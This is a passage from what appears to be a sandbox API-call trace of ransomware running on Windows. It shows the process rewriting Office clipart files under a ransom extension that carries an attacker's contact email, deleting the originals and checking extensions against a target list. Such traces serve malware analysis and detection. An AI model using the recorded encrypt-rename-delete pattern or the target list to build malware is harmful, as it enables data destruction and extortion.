dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.917] SetEndOfFile (hFile=0x10d0) returned 1 [0153.918] CloseHandle (hObject=0x10d0) returned 1 [0153.918] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0153.919] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf")) returned 1 [0153.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0153.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0153.920] lstrlenW (lpString=".doc") returned 4 [0153.920] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.920] lstrlenW (lpString=".docx") returned 5 [0153.920] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0153.920] lstrlenW (lpString=".pdf") returned 4 [0153.920] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.920] lstrlenW (lpString=".xls") returned 4 [0153.920] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.920] lstrlenW (lpString=".xlsx") returned 5 [0153.920] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0153.920] lstrlenW (lpString=".ppt") returned 4 [0153.920] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0153.920] lstrlenW (lpString=".zip") returned 4 [0153.920] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.920] lstrlenW (lpString=".rar") returned 4 [0153.920] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.920] lstrlenW (lpString=".bz2") returned 4 [0153.920] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.921] lstrlenW (lpString=".7z") returned 3 [0153.921] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0153.921] lstrlenW (lpString=".dbf") returned 4 [0153.921] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0153.921] lstrlenW (lpString=".1cd") returned 4 [0153.921] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0153.921] lstrlenW (lpString=".jpg") returned 4 [0153.921] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.923] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.923] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0153.924] GetLastError () returned 0x0 [0153.924] ReadFile (in: hFile=0x10d0, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x1f86, lpOverlapped=0x0) returned 1 [0153.952] WriteFile (in: hFile=0x10d8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x1f90, lpOverlapped=0x0) returned 1 [0153.953] ReadFile (in: hFile=0x10d0, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.953] WriteFile (in: hFile=0x10d8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.954] SetEndOfFile (hFile=0x10d8) returned 1 [0153.954] CloseHandle (hObject=0x10d8) returned 1 [0153.955] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.955] SetEndOfFile (hFile=0x10d0) returned 1 [0153.956] CloseHandle (hObject=0x10d0) returned 1 [0153.957] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0153.957] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf")) returned 1 [0153.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0153.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0153.958] lstrlenW (lpString=".doc") returned 4 [0153.958] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.958] lstrlenW (lpString=".docx") returned 5 [0153.958] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0153.958] lstrlenW (lpString=".pdf") returned 4 [0153.958] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.958] lstrlenW (lpString=".xls") returned 4 [0153.958] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.958] lstrlenW (lpString=".xlsx") returned 5 [0153.958] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0153.958] lstrlenW (lpString=".ppt") returned 4 [0153.958] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0153.958] lstrlenW (lpString=".zip") returned 4 [0153.958] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.958] lstrlenW (lpString=".rar") returned 4 [0153.958] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.958] lstrlenW (lpString=".bz2") returned 4 [0153.958] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.958] lstrlenW (lpString=".7z") returned 3 [0153.958] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0153.958] lstrlenW (lpString=".dbf") returned 4 [0153.958] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0153.958] lstrlenW (lpString=".1cd") returned 4 [0153.959] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0153.959] lstrlenW (lpString=".jpg") returned 4 [0153.959] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.959] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.959] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0153.960] GetLastError () returned 0x0 [0153.960] ReadFile (in: hFile=0x10d0, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x2458, lpOverlapped=0x0) returned 1 [0153.962] WriteFile (in: hFile=0x10d8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x2460, lpOverlapped=0x0) returned 1 [0153.964] ReadFile (in: hFile=0x10d0, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.964] WriteFile (in: hFile=0x10d8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.964] SetEndOfFile (hFile=0x10d8) returned 1 [0153.964] CloseHandle (hObject=0x10d8) returned 1 [0153.965] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.965] SetEndOfFile (hFile=0x10d0) returned 1 [0153.966] CloseHandle (hObject=0x10d0) returned 1 [0153.967] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0153.967] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf")) returned 1 [0153.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0153.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0153.968] lstrlenW (lpString=".doc") returned 4 [0153.968] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.968] lstrlenW (lpString=".docx") returned 5 [0153.968] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0153.968] lstrlenW (lpString=".pdf") returned 4 [0153.968] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.968] lstrlenW (lpString=".xls") returned 4 [0153.968] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.968] lstrlenW (lpString=".xlsx") returned 5 [0153.968] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0153.968] lstrlenW (lpString=".ppt") returned 4 [0153.968] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0153.968] lstrlenW (lpString=".zip") returned 4 [0153.968] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.968] lstrlenW (lpString=".rar") returned 4 [0153.968] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.968] lstrlenW (lpString=".bz2") returned 4 [0153.968] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.968] lstrlenW (lpString=".7z") returned 3 [0153.968] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0153.968] lstrlenW (lpString=".dbf") returned 4 [0153.968] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0153.968] lstrlenW (lpString=".1cd") returned 4 [0153.969] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0153.970] lstrlenW (lpString=".jpg") returned 4 [0153.970] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.971] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.971] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0153.971] GetLastError () returned 0x0 [0153.971] ReadFile (in: hFile=0x10d0, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0xfb8, lpOverlapped=0x0) returned 1 [0153.986] WriteFile (in: hFile=0x10d8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xfc0, lpOverlapped=0x0) returned 1 [0153.987] ReadFile (in: hFile=0x10d0, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.987] WriteFile (in: hFile=0x10d8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.987] SetEndOfFile (hFile=0x10d8) returned 1 [0153.988] CloseHandle (hObject=0x10d8) returned 1 [0153.988] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.988] SetEndOfFile (hFile=0x10d0) returned 1 [0153.989] CloseHandle (hObject=0x10d0) returned 1 [0153.989] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0153.990] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf")) returned 1 [0153.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0153.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0153.990] lstrlenW (lpString=".doc") returned 4 [0153.990] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.990] lstrlenW (lpString=".docx") returned 5 [0153.990] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0153.990] lstrlenW (lpString=".pdf") returned 4 [0153.990] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.990] lstrlenW (lpString=".xls") returned 4 [0153.990] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.990] lstrlenW (lpString=".xlsx") returned 5 [0153.990] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0153.990] lstrlenW (lpString=".ppt") returned 4 [0153.990] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0153.990] lstrlenW (lpString=".zip") returned 4 [0153.990] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.990] lstrlenW (lpString=".rar") returned 4 [0153.990] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.991] lstrlenW (lpString=".bz2") returned 4 [0153.991] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.991] lstrlenW (lpString=".7z") returned 3 [0153.991] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0153.991] lstrlenW (lpString=".dbf") returned 4 [0153.991] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0153.991] lstrlenW (lpString=".1cd") returned 4 [0153.991] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0153.991] lstrlenW (lpString=".jpg") returned 4 [0153.991] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.991] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.991] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0153.992] GetLastError () returned 0x0 [0153.992] ReadFile (in: hFile=0x10d0, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x386c, lpOverlapped=0x0) returned 1 [0154.017] WriteFile (in: hFile=0x10d8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x3870, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x3870, lpOverlapped=0x0) returned 1 [0154.018] ReadFile (in: hFile=0x10d0, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.018] WriteFile (in: hFile=0x10d8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.018] SetEndOfFile (hFile=0x10d8) returned 1 [0154.018] CloseHandle (hObject=0x10d8) returned 1 [0154.019] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.019] SetEndOfFile (hFile=0x10d0) returned 1 [0154.021] CloseHandle (hObject=0x10d0) returned 1 [0154.021] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0154.022] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf")) returned 1 [0154.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0154.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0154.022] lstrlenW (lpString=".doc") returned 4 [0154.022] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.022] lstrlenW (lpString=".docx") returned 5 [0154.022] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.022] lstrlenW (lpString=".pdf") returned 4 [0154.022] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.022] lstrlenW (lpString=".xls") returned 4 [0154.023] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.023] lstrlenW (lpString=".xlsx") returned 5 [0154.023] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.023] lstrlenW (lpString=".ppt") returned 4 [0154.023] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0154.023] lstrlenW (lpString=".zip") returned 4 [0154.023] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.023] lstrlenW (lpString=".rar") returned 4 [0154.023] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.023] lstrlenW (lpString=".bz2") returned 4 [0154.023] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.023] lstrlenW (lpString=".7z") returned 3 [0154.023] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0154.023] lstrlenW (lpString=".dbf") returned 4 [0154.023] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0154.023] lstrlenW (lpString=".1cd") returned 4 [0154.023] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0154.023] lstrlenW (lpString=".jpg") returned 4 [0154.023] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.024] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.024] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0154.024] GetLastError () returned 0x0 [0154.024] ReadFile (in: hFile=0x10d0, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x1264, lpOverlapped=0x0) returned 1 [0154.032] WriteFile (in: hFile=0x10d8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x1270, lpOverlapped=0x0) returned 1 [0154.033] ReadFile (in: hFile=0x10d0, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.034] WriteFile (in: hFile=0x10d8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.034] SetEndOfFile (hFile=0x10d8) returned 1 [0154.034] CloseHandle (hObject=0x10d8) returned 1 [0154.035] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.035] SetEndOfFile (hFile=0x10d0) returned 1 [0154.036] CloseHandle (hObject=0x10d0) returned 1 [0154.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0154.036] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf")) returned 1 [0154.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0154.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0154.037] lstrlenW (lpString=".doc") returned 4 [0154.037] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.037] lstrlenW (lpString=".docx") returned 5 [0154.037] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.037] lstrlenW (lpString=".pdf") returned 4 [0154.037] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.037] lstrlenW (lpString=".xls") returned 4 [0154.037] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.037] lstrlenW (lpString=".xlsx") returned 5 [0154.037] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.037] lstrlenW (lpString=".ppt") returned 4 [0154.037] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0154.037] lstrlenW (lpString=".zip") returned 4 [0154.037] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.038] 